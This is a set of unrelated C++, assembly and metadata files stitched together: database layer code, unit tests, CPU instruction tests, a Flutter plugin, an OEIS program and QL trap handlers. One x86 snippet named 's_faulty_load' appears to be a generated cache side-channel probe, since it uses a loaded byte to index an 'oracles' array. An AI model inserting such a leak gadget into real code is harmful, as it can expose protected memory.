if( iGeomField < 0 || iGeomField >= GetLayerDefn()->GetGeomFieldCount() ||
GetLayerDefn()->GetGeomFieldDefn(iGeomField)->GetType() == wkbNone )
{
if( iGeomField != 0 )
{
CPLError(CE_Failure, CPLE_AppDefined,
"Invalid geometry field index : %d", iGeomField);
}
return OGRERR_FAILURE;
}
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return OGRERR_FAILURE;
poDS->EndCopy();
OGRPGGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(iGeomField);
const char* pszExtentFct;
// if bForce is 0 and ePostgisType is not GEOM_TYPE_GEOGRAPHY we can use
// the ST_EstimatedExtent function which is quicker
// ST_EstimatedExtent was called ST_Estimated_Extent up to PostGIS 2.0.x
// ST_EstimatedExtent returns NULL in absence of statistics (an exception before
// PostGIS 1.5.4)
if ( bForce == 0 && TestCapability(OLCFastGetExtent) )
{
PGconn *hPGConn = poDS->GetPGConn();
if ( poDS->sPostGISVersion.nMajor > 2 ||
( poDS->sPostGISVersion.nMajor == 2 && poDS->sPostGISVersion.nMinor >= 1 ) )
pszExtentFct = "ST_EstimatedExtent";
else
pszExtentFct = "ST_Estimated_Extent";
osCommand.Printf( "SELECT %s(%s, %s, %s)",
pszExtentFct,
OGRPGEscapeString(hPGConn, pszSchemaName).c_str(),
OGRPGEscapeString(hPGConn, pszTableName).c_str(),
OGRPGEscapeString(hPGConn, poGeomFieldDefn->GetNameRef()).c_str() );
/* Quiet error: ST_Estimated_Extent may return an error if statistics */
/* have not been computed */
if( RunGetExtentRequest(psExtent, bForce, osCommand, TRUE) == OGRERR_NONE )
return OGRERR_NONE;
CPLDebug(
"PG",
"Unable to get estimated extent by PostGIS. Trying real extent." );
}
return OGRPGLayer::GetExtent( iGeomField, psExtent, bForce );
}
/************************************************************************/
/* SetDeferredCreation() */
/************************************************************************/
void OGRPGTableLayer::SetDeferredCreation(int bDeferredCreationIn, CPLString osCreateTableIn)
{
bDeferredCreation = bDeferredCreationIn;
osCreateTable = osCreateTableIn;
}
/************************************************************************/
/* RunDeferredCreationIfNecessary() */
/************************************************************************/
OGRErr OGRPGTableLayer::RunDeferredCreationIfNecessary()
{
if( !bDeferredCreation )
return OGRERR_NONE;
bDeferredCreation = FALSE;
poDS->EndCopy();
int i;
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn *poGeomField = (OGRPGGeomFieldDefn*) poFeatureDefn->GetGeomFieldDefn(i);
if (poDS->sPostGISVersion.nMajor >= 2 ||
poGeomField->ePostgisType == GEOM_TYPE_GEOGRAPHY)
{
const char *pszGeometryType = OGRToOGCGeomType(poGeomField->GetType());
osCreateTable += ", ";
osCreateTable += OGRPGEscapeColumnName(poGeomField->GetNameRef());
osCreateTable += " ";
if( poGeomField->ePostgisType == GEOM_TYPE_GEOMETRY )
osCreateTable += "geometry(";
else
osCreateTable += "geography(";
osCreateTable += pszGeometryType;
if( (poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_3D) && (poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED) )
osCreateTable += "ZM";
else if( poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_3D )
osCreateTable += "Z";
else if( poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED )
osCreateTable += "M";
if( poGeomField->nSRSId > 0 )
osCreateTable += CPLSPrintf(",%d", poGeomField->nSRSId);
osCreateTable += ")";
if( !poGeomField->IsNullable() )
osCreateTable += " NOT NULL";
}
}
osCreateTable += " )";
CPLString osCommand(osCreateTable);
PGresult *hResult;
PGconn *hPGConn = poDS->GetPGConn();
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str());
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s", osCommand.c_str(), PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
// For PostGIS 1.X, use AddGeometryColumn() to create geometry columns
if (poDS->sPostGISVersion.nMajor < 2)
{
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn *poGeomField = (OGRPGGeomFieldDefn*) poFeatureDefn->GetGeomFieldDefn(i);
if( poGeomField->ePostgisType == GEOM_TYPE_GEOMETRY &&
RunAddGeometryColumn(poGeomField) != OGRERR_NONE )
{
return OGRERR_FAILURE;
}
}
}
if( bCreateSpatialIndexFlag )
{
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn *poGeomField = (OGRPGGeomFieldDefn*) poFeatureDefn->GetGeomFieldDefn(i);
if( RunCreateSpatialIndex(poGeomField) != OGRERR_NONE )
{
return OGRERR_FAILURE;
}
}
}
char** papszMD = OGRLayer::GetMetadata();
if( papszMD != NULL )
SetMetadata( papszMD );
return OGRERR_NONE;
}
|
// (C) Copyright John Maddock 2007.
// Use, modification and distribution are subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt).
//
// See http://www.boost.org/libs/type_traits for most recent version including documentation.
#ifndef BOOST_TT_IS_COMPLEX_HPP
#define BOOST_TT_IS_COMPLEX_HPP
#include <boost/type_traits/is_convertible.hpp>
#include <complex>
// should be the last #include
#include <boost/type_traits/detail/bool_trait_def.hpp>
namespace boost {
namespace detail{
struct is_convertible_from_tester
{
template <class T>
is_convertible_from_tester(const std::complex<T>&);
};
}
BOOST_TT_AUX_BOOL_TRAIT_DEF1(is_complex,T,(::boost::is_convertible<T, boost::detail::is_convertible_from_tester>::value))
} // namespace boost
#include <boost/type_traits/detail/bool_trait_undef.hpp>
#endif //BOOST_TT_IS_COMPLEX_HPP
|
#define BOOST_TEST_MODULE PikaCoin Test Suite
#include <boost/test/unit_test.hpp>
#include <boost/filesystem.hpp>
#include "db.h"
#include "txdb.h"
#include "main.h"
#include "wallet.h"
#include "util.h"
CWallet* pwalletMain;
CClientUIInterface uiInterface;
extern bool fPrintToConsole;
extern void noui_connect();
struct TestingSetup {
CCoinsViewDB *pcoinsdbview;
boost::filesystem::path pathTemp;
boost::thread_group threadGroup;
TestingSetup() {
fPrintToDebugger = true; // don't want to write to debug.log file
noui_connect();
bitdb.MakeMock();
pathTemp = GetTempPath() / strprintf("test_pikacoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
boost::filesystem::create_directories(pathTemp);
mapArgs["-datadir"] = pathTemp.string();
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(*pcoinsdbview);
InitBlockIndex();
bool fFirstRun;
pwalletMain = new CWallet("wallet.dat");
pwalletMain->LoadWallet(fFirstRun);
RegisterWallet(pwalletMain);
nScriptCheckThreads = 3;
for (int i=0; i < nScriptCheckThreads-1; i++)
threadGroup.create_thread(&ThreadScriptCheck);
}
~TestingSetup()
{
threadGroup.interrupt_all();
threadGroup.join_all();
delete pwalletMain;
pwalletMain = NULL;
delete pcoinsTip;
delete pcoinsdbview;
delete pblocktree;
bitdb.Flush(true);
boost::filesystem::remove_all(pathTemp);
}
};
BOOST_GLOBAL_FIXTURE(TestingSetup);
void Shutdown(void* parg)
{
exit(0);
}
void StartShutdown()
{
exit(0);
}
|
//------------------------------------------------------------------------------
//
// Copyright 2018-2019 Fetch.AI Limited
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//------------------------------------------------------------------------------
#include "core/byte_array/encoders.hpp"
#include "core/random/lfg.hpp"
#include "crypto/hash.hpp"
#include "crypto/sha256.hpp"
#include "storage/new_versioned_random_access_stack.hpp"
#include "testing/common_testing_functionality.hpp"
#include <gtest/gtest.h>
#include <algorithm>
#include <string>
#include <vector>
using namespace fetch;
using namespace fetch::storage;
using namespace fetch::crypto;
using namespace fetch::testing;
using ByteArray = fetch::byte_array::ByteArray;
TEST(versioned_random_access_stack_gtest, basic_example_of_commit_revert2)
{
NewVersionedRandomAccessStack<StringProxy> stack;
stack.New("b_main.db", "b_history.db");
// Make some changes to the stack
for (std::size_t i = 0; i < 17; ++i)
{
stack.Push(std::to_string(i));
}
// Verify state is correct with no changes
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_NE(stack.Get(i), std::to_string(i + 11)); // counter check
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
// Create a bunch of hashes we want to bookmark with
std::vector<ByteArray> hashes;
for (std::size_t i = 0; i < 4; ++i)
{
hashes.push_back(Hash<crypto::SHA256>(std::to_string(i)));
}
// *** Commit this ***
stack.Commit(hashes[0]);
// Verify state is the same
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
// mash the state
for (std::size_t i = 0; i < 17; ++i)
{
stack.Set(i, std::to_string(i + 5));
}
// Verify the change
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_EQ(stack.Get(i), std::to_string(i + 5));
}
// EXPECT_EQ(stack.HashExists(hashes[0]), true);
// Revert!
stack.RevertToHash(hashes[0]);
// Verify old state is as it was
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
}
TEST(versioned_random_access_stack_gtest, try_to_revert_to_bad_hash)
{
NewVersionedRandomAccessStack<StringProxy> stack;
stack.New("b_main.db", "b_history.db");
// Create a bunch of hashes we want to bookmark with
std::vector<ByteArray> hashes;
for (std::size_t i = 0; i < 4; ++i)
{
hashes.push_back(Hash<crypto::SHA256>(std::to_string(i)));
}
// Make some changes to the stack
for (std::size_t i = 0; i < 17; ++i)
{
stack.Push(std::to_string(i));
}
// Verify state is correct with no changes
for (std::size_t i = 0; i < 17; ++i)
{
StringProxy a;
a = stack.Get(i);
StringProxy b;
b = StringProxy(std::to_string(i));
bool res = a == b;
EXPECT_EQ(a, b) << "thing";
EXPECT_EQ(res, true) << "thing";
EXPECT_NE(stack.Get(i), std::to_string(i + 11)); // counter check
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
// *** Commit this ***
stack.Commit(hashes[0]);
// Revert to bad hash
ASSERT_THROW(stack.RevertToHash(hashes[1]), StorageException);
}
TEST(versioned_random_access_stack_gtest, loading_file)
{
// Create a bunch of hashes we want to bookmark with
std::vector<ByteArray> hashes;
for (std::size_t i = 0; i < 4; ++i)
{
hashes.push_back(Hash<crypto::SHA256>(std::to_string(i)));
}
{
NewVersionedRandomAccessStack<StringProxy> stack;
stack.New("c_main.db", "c_history.db");
// Make some changes to the stack
for (std::size_t i = 0; i < 17; ++i)
{
stack.Push(std::to_string(i));
}
// Verify state is correct with no changes
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_NE(stack.Get(i), std::to_string(i + 11)); // counter check
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
// *** Commit this ***
stack.Commit(hashes[0]);
// Verify state is the same
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
// mash the state
for (std::size_t i = 0; i < 17; ++i)
{
stack.Set(i, std::to_string(i + 5));
}
}
{
NewVersionedRandomAccessStack<StringProxy> stack;
stack.Load("c_main.db", "c_history.db");
// Verify the change is correct after loading the file up
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_EQ(stack.Get(i), std::to_string(i + 5));
}
// Revert!
stack.RevertToHash(hashes[0]);
// Verify old state is as it was
for (std::size_t i = 0; i < 17; ++i)
{
EXPECT_EQ(stack.Get(i), std::to_string(i));
}
}
}
|
; Tests stack instructions (PHA & PLA & PHP & PLP).
; Assumes that loads & stores (all addressing modes).
; Also assumes ADC (all addressing modes) and all flag instructions work.
;
; Expected Results: $30 = 0x29
LDA #$27
ADC #$01
SEC
PHP
CLC
PLP
ADC #$00
PHA
LDA #$00
PLA
STA $30
|
#include "include/dart_discord_rpc/dart_discord_rpc_plugin.h"
#include <flutter/method_channel.h>
#include <flutter/plugin_registrar_windows.h>
#include <flutter/standard_method_codec.h>
namespace {
class DartDiscordRpcPlugin : public flutter::Plugin {
public:
static void RegisterWithRegistrar(flutter::PluginRegistrarWindows* registrar);
DartDiscordRpcPlugin();
virtual ~DartDiscordRpcPlugin();
private:
void HandleMethodCall(
const flutter::MethodCall<flutter::EncodableValue>& method_call,
std::unique_ptr<flutter::MethodResult<flutter::EncodableValue>> result);
};
void DartDiscordRpcPlugin::RegisterWithRegistrar(
flutter::PluginRegistrarWindows* registrar) {
auto channel =
std::make_unique<flutter::MethodChannel<flutter::EncodableValue>>(
registrar->messenger(), "dart_discord_rpc",
&flutter::StandardMethodCodec::GetInstance());
auto plugin = std::make_unique<DartDiscordRpcPlugin>();
channel->SetMethodCallHandler([plugin_pointer = plugin.get()](
const auto& call, auto result) {
plugin_pointer->HandleMethodCall(call, std::move(result));
});
registrar->AddPlugin(std::move(plugin));
}
DartDiscordRpcPlugin::DartDiscordRpcPlugin() {}
DartDiscordRpcPlugin::~DartDiscordRpcPlugin() {}
void DartDiscordRpcPlugin::HandleMethodCall(
const flutter::MethodCall<flutter::EncodableValue>& method_call,
std::unique_ptr<flutter::MethodResult<flutter::EncodableValue>> result) {
result->NotImplemented();
}
}
void DartDiscordRpcPluginRegisterWithRegistrar(
FlutterDesktopPluginRegistrarRef registrar) {
DartDiscordRpcPlugin::RegisterWithRegistrar(
flutter::PluginRegistrarManager::GetInstance()
->GetRegistrar<flutter::PluginRegistrarWindows>(registrar));
}
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rdi
push %rsi
// Faulty Load
lea addresses_WT+0x8f28, %r11
nop
nop
nop
dec %rsi
mov (%r11), %di
lea oracles, %rsi
and $0xff, %rdi
shlq $12, %rdi
mov (%rsi,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'00': 11291}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
ORIGIN 4x0000
SEGMENT CodeSegment:
AND R0, R0, 0
NOP
NOP
NOP
NOP
NOP
NOP
NOP
JSR ADD1
NOP
NOP
NOP
NOP
NOP
NOP
NOP
LEA R1, ADD1
NOP
NOP
NOP
NOP
NOP
NOP
NOP
JSRR R1
NOP
NOP
NOP
NOP
NOP
NOP
NOP
ENDLOOP:
; if R0 is not 2 at this point, JSR and/or JSRR do not work
BRnzp ENDLOOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
ADD1:
ADD R0, R0, 1
RET
NOP
NOP
NOP
NOP
NOP
NOP
NOP
|
#include <iostream>
#include <fstream>
#include <sglib/KmerCompressionIndex.hpp>
#include "cxxopts.hpp"
int main(int argc, char * argv[]) {
std::cout << "bsg-kmerspectra"<<std::endl<<std::endl;
std::cout << "Git origin: " << GIT_ORIGIN_URL << " -> " << GIT_BRANCH << std::endl;
std::cout << "Git commit: " << GIT_COMMIT_HASH << std::endl<<std::endl;
std::cout << "Executed command:"<<std::endl;
for (auto i=0;i<argc;i++) std::cout<<argv[i]<<" ";
std::cout<<std::endl<<std::endl;
if (argc <2){
std::cout<<"Please specify one of: make, stats, apply"<<std::endl;
exit(1);
}
if (0==strcmp(argv[1],"make")) {
std::vector<std::string> fastq_files;
std::string output;
std::string gfa_filename;
try {
cxxopts::Options options("bsg-kmerspectra make", "BSG make kmers pectra");
options.add_options()
("help", "Print help")
("g,gfa", "input gfa file", cxxopts::value<std::string>(gfa_filename))
("f,fastq", "input reads (multi)", cxxopts::value<std::vector<std::string>>(fastq_files))
("o,output", "output file", cxxopts::value<std::string>(output));
auto newargc=argc-1;
auto newargv=&argv[1];
auto result=options.parse(newargc,newargv);
if (result.count("help")) {
std::cout << options.help({""}) << std::endl;
exit(0);
}
if (result.count("fastq")<1 or output=="" or gfa_filename=="") {
throw cxxopts::OptionException(" please specify gfa, input files, output prefix");
}
} catch (const cxxopts::OptionException &e) {
std::cout << "Error parsing options: " << e.what() << std::endl << std::endl
<< "Use option --help to check command line arguments." << std::endl;
exit(1);
}
//===== LOAD GRAPH =====
SequenceGraph sg;
KmerCompressionIndex kci(sg);
sg.load_from_gfa(gfa_filename);
kci.index_graph();
kci.start_new_count();
kci.add_counts_from_file(fastq_files);
kci.compute_compression_stats();
kci.save_to_disk(output);
}
else if (0==strcmp(argv[1],"stats")) {
std::string filename;
try {
cxxopts::Options options("bsg-kmerspectra stats", "BSG kmer spectra stats");
options.add_options()
("help", "Print help")
("s,kmerspectra", "kmerspectra name", cxxopts::value<std::string>(filename));
auto newargc=argc-1;
auto newargv=&argv[1];
auto result=options.parse(newargc,newargv);
if (result.count("help")) {
std::cout << options.help({""}) << std::endl;
exit(0);
}
if (result.count("kmerspectra")==0) {
throw cxxopts::OptionException(" please specify kmer spectra file");
}
} catch (const cxxopts::OptionException &e) {
std::cout << "Error parsing options: " << e.what() << std::endl << std::endl
<< "Use option --help to check command line arguments." << std::endl;
exit(1);
}
SequenceGraph sg;
KmerCompressionIndex kci(sg);
kci.load_from_disk(filename);
sglib::OutputLog()<<kci.graph_kmers.size()<<" kmers in spectra loaded from disk"<<std::endl;
kci.compute_compression_stats();
}
else if(0==strcmp(argv[1],"apply")){
std::string kci_filename,gfa_filename,output;
int maxfreq=10;
bool reindex=false;
try {
cxxopts::Options options("bsg-kmerspectra apply", "BSG kmer spectra apply");
options.add_options()
("help", "Print help")
("g,gfa", "input gfa file", cxxopts::value<std::string>(gfa_filename))
("s,kmerspectra", "kmerspectra name", cxxopts::value<std::string>(kci_filename))
("f,max_freq", "maximum graph frequency (default:10)", cxxopts::value<int>(maxfreq))
("r,reindex", "re-index the graph counts (default: false)", cxxopts::value<bool>(reindex))
("o,output", "output gfa file with depth", cxxopts::value<std::string>(output));
auto newargc=argc-1;
auto newargv=&argv[1];
auto result=options.parse(newargc,newargv);
if (result.count("help")) {
std::cout << options.help({""}) << std::endl;
exit(0);
}
if (result.count("kmerspectra")==0 or result.count("gfa")==0 or result.count("output")==0) {
throw cxxopts::OptionException(" please specify gfa, kmer spectra and output files");
}
} catch (const cxxopts::OptionException &e) {
std::cout << "Error parsing options: " << e.what() << std::endl << std::endl
<< "Use option --help to check command line arguments." << std::endl;
exit(1);
}
SequenceGraph sg;
KmerCompressionIndex kci(sg);
sg.load_from_gfa(gfa_filename);
kci.load_from_disk(kci_filename);
sglib::OutputLog()<<kci.graph_kmers.size()<<" kmers in spectra loaded from disk"<<std::endl;
if (reindex) kci.reindex_graph();
kci.compute_compression_stats();
kci.compute_all_nodes_kci(maxfreq);
sg.write_to_gfa(output, {}, {}, {}, kci.nodes_depth);
}
else {
std::cout<<"Please specify one of: make, stats, view"<<std::endl;
}
}
|
Name: ger_msge0.asm
Type: file
Size: 67083
Last-Modified: '2016-05-13T04:23:03Z'
SHA-1: 5E88C55C11BBA1203C073C038E8DA2CAAAA3301C
Description: null
|
; A153483: a(n) = prime(n)^4 - 32.
; -16,49,593,2369,14609,28529,83489,130289,279809,707249,923489,1874129,2825729,3418769,4879649,7890449,12117329,13845809,20151089,25411649,28398209,38950049,47458289,62742209,88529249,104060369,112550849,131079569,141158129,163047329,260144609,294499889,352275329,373301009,492884369,519885569,607573169,705911729,777796289,895745009,1026625649,1073283089,1330863329,1387487969,1506138449,1568239169,1982119409,2472973409,2655237809,2750058449,2947295489,3262808609,3373402529,3969125969,4362470369,4784350529,5236114289,5393580449,5887339409,6234839489,6414247889,7370050769,8882873969,9354951809,9597924929,10098039089,12003612689,12897917729,14498327249,14835483569,15527402849,16610312129,18141126689,19356878609,20632736849,21517662689,22898045009,24840596849,25856961569,27982932929,30821664689,31414372049,34507149089,35152125089,37141383809,38513669969,40642963169,43617904769,45165175409,45954068129,47562811889,52643172449,56249134529,58120048529,62001497969,64013554049,67122964529,73680216449,74818113809,85662167729
seq $0,40 ; The prime numbers.
pow $0,4
sub $0,32
|
/*=========================================================================
*
* Copyright Insight Software Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#include "itkPSMDOMNodeXMLReader.h"
#include "expat.h"
#include <fstream>
namespace itk
{
/**
* The following three functions are called by the expat XML parser during the parsing process,
* and the calls are forwarded to the callback functions of PSMDOMNodeXMLReader.
*/
static void itkXMLParserStartElement( void* parser, const char* name, const char** atts )
{
// Begin element handler that is registered with the XML_Parser.
// This just casts the user data to a itkXMLParser and calls
// StartElement.
static_cast<PSMDOMNodeXMLReader*>(parser)->StartElement( name, atts );
}
static void itkXMLParserEndElement( void* parser, const char* name )
{
// End element handler that is registered with the XML_Parser. This
// just casts the user data to a itkXMLParser and calls EndElement.
static_cast<PSMDOMNodeXMLReader*>(parser)->EndElement( name );
}
static void itkXMLParserCharacterDataHandler( void* parser, const char* data, int length )
{
// Character data handler that is registered with the XML_Parser.
// This just casts the user data to a itkXMLParser and calls
// CharacterDataHandler.
static_cast<PSMDOMNodeXMLReader*>(parser)->CharacterDataHandler( data, length );
}
PSMDOMNodeXMLReader::PSMDOMNodeXMLReader() : m_Context(NULL)
{
}
/**
* Function called by Update() or end-users to generate the output DOM object
* from an input stream such as file, string, etc.
*/
void
PSMDOMNodeXMLReader::Update( std::istream& is )
{
DOMNodeType* output = this->GetDOMNode();
if ( output == NULL )
{
DOMNodePointer object = DOMNodeType::New();
output = (DOMNodeType*)object;
this->SetDOMNode( output );
}
output->RemoveAllAttributesAndChildren();
this->m_Context = NULL;
is >> std::noskipws;
std::string s;
while ( true )
{
char c = 0;
is >> c;
if ( !is.good() )
{
break;
}
s.append( 1, c );
}
XML_Parser parser = XML_ParserCreate( 0 );
XML_SetElementHandler( parser, &itkXMLParserStartElement, &itkXMLParserEndElement );
XML_SetCharacterDataHandler( parser, &itkXMLParserCharacterDataHandler );
XML_SetUserData( parser, this );
bool ok = XML_Parse( parser, s.data(), s.size(), false );
if ( !ok )
{
ExceptionObject e( __FILE__, __LINE__ );
std::string message( XML_ErrorString(XML_GetErrorCode(parser)) );
e.SetDescription( message.c_str() );
throw e;
}
XML_ParserFree( parser );
}
/**
* Function called by end-users to generate the output DOM object from the input XML file.
*/
void
PSMDOMNodeXMLReader::Update()
{
std::ifstream is( this->m_FileName.c_str() );
if ( !is.is_open() )
{
itkExceptionMacro( "failed openning the input XML file" );
}
this->Update( is );
is.close();
}
/** Callback function -- called from XML parser with start-of-element
* information.
*/
void
PSMDOMNodeXMLReader::StartElement( const char* name, const char** atts )
{
DOMNodeType* node = NULL;
if ( this->m_Context )
{
DOMNodePointer node1 = DOMNodeType::New();
node = (DOMNodeType*)node1;
this->m_Context->AddChildAtEnd( node );
}
else
{
node = this->GetDOMNode();
}
node->SetName( name );
size_t i = 0;
while ( atts[i] )
{
std::string key( atts[i++] );
std::string value( atts[i++] );
if ( StringTools::MatchWith(key,"id") )
{
node->SetID( value );
}
else
{
node->SetAttribute( key, value );
}
}
this->m_Context = node;
}
/** Callback function -- called from XML parser when ending tag
* encountered.
*/
void
PSMDOMNodeXMLReader::EndElement( const char* name )
{
if ( this->m_Context->GetName() != name )
{
itkExceptionMacro( "start/end tag names mismatch" );
}
this->m_Context = dynamic_cast<PSMDOMNode *>(this->m_Context->GetParent());
}
/** Callback function -- called from XML parser with the character data
* for an XML element.
*/
void
PSMDOMNodeXMLReader::CharacterDataHandler( const char* text, int len )
{
std::string s( text, len );
StringTools::Trim( s );
if ( s.size() == 0 )
{
return;
}
this->m_Context->AddText(s);
}
} // namespace itk
|
; (Super)GoldCard trap and exception handling
section patch
xdef sgc_qdos_trp0
xdef sgc_min_trp0
xdef sgc_trp2
xdef sgc_trp3
xdef sgc_trp4
xdef sgc_trp5
xdef sgc_trp6
xdef sgc_trp7
xdef sgc_trp8
xdef sgc_trp9
xdef sgc_trpa
xdef sgc_trpb
xdef sgc_trpc
xdef sgc_trpd
xdef sgc_trpe
xdef sgc_trpf
xdef sgc_ilin
xdef sgc_alin
xdef sgc_flin
xdef sgc_int2_rte
xdef sgc_trap1
xdef gl_trap1
xref gl_rdate
xref gl_sdate
xref gl_adate
include 'dev8_keys_qdos_sms'
include 'dev8_sys_gold_keys'
; trap #0 (QDOS)
sgc_qdos_trp0
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
bset #$5,(a7)
bclr #$7,(a7)
rte
; trap #0 (Minerva)
sgc_min_trp0
dc.w min_trp0_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
min_trp0_patch
jmp $12345678
sgc_trp2
dc.w $c
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
jmp $12345678
; trap #3
sgc_trp3
dc.w trp3_patch-*
move.l d0,-(sp)
